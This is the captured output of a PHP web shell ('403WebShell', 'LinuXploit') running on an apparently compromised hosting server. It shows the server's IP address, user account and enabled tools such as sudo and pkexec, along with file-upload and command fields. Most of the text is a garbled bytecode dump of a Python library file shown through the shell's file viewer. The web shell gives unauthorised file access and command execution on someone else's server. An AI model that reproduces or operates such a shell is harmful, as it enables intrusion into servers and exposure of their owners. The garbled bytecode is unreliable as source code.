Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/requests_toolbelt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/requests_toolbelt/utils/__pycache__/deprecated.cpython-310.pyc
o

�O�X�	�@sddZddlZddlZddlmZejdejd�jZejdejd�jZ	e�d�jZ
dd	�Zd
d�ZdS)z7A collection of functions deprecated in requests.utils.�N)�utilss!<meta.*?charset=["\']*(.+?)["\'>])�flagss+<meta.*?content=["\']*;?charset=(.+?)["\'>]s$^<\?xml.*?encoding=["\']*(.+?)["\'>]cCsFt|�t|�t|�}dtjkrdkr!n|Sdd�|D�}|S)a�Return encodings from given content string.

    .. code-block:: python

        import requests
        from requests_toolbelt.utils import deprecated

        r = requests.get(url)
        encodings = deprecated.get_encodings_from_content(r)

    :param content: bytestring to extract encodings from
    :type content: bytes
    :return: encodings detected in the provided content
    :rtype: list(str)
    )�r)�rcSsg|]}|�d��qS)�utf8)�decode)�.0�encoding�r
�D/usr/lib/python3/dist-packages/requests_toolbelt/utils/deprecated.py�
<listcomp>(sz.get_encodings_from_content.<locals>.<listcomp>)�find_charset�find_pragma�find_xml�sys�version_info)�content�	encodingsr
r
r�get_encodings_from_contents��rc	Cs�t�}t�|j�}|r#zt|j|�WSty"|�|���Ynwt	|j�}|D]"}|��}||vr5q*z	t|j|�WStyL|�|�Yq*w|rdz	t|j|dd�WSt
ycY|jSw|jS)aMReturn the requested content back in unicode.

    This will first attempt to retrieve the encoding from the response
    headers. If that fails, it will use
    :func:`requests_toolbelt.utils.deprecated.get_encodings_from_content`
    to determine encodings from HTML elements.

    .. code-block:: python

        import requests
        from requests_toolbelt.utils import deprecated

        r = requests.get(url)
        text = deprecated.get_unicode_from_response(r)

    :param response: Response object to get unicode content from.
    :type response: requests.models.Response
    �replace)�errors)�setr�get_encoding_from_headers�headers�strr�UnicodeError�add�lowerr�	TypeError�text)�response�tried_encodingsr	r�	_encodingr
r
r�get_unicode_from_response,s4�
��r#)
�__doc__�rer�requestsr�compile�I�findallr
rrrr#r
r
r
r�<module>s*������

Youez - 2016 - github.com/yon3zu
LinuXploit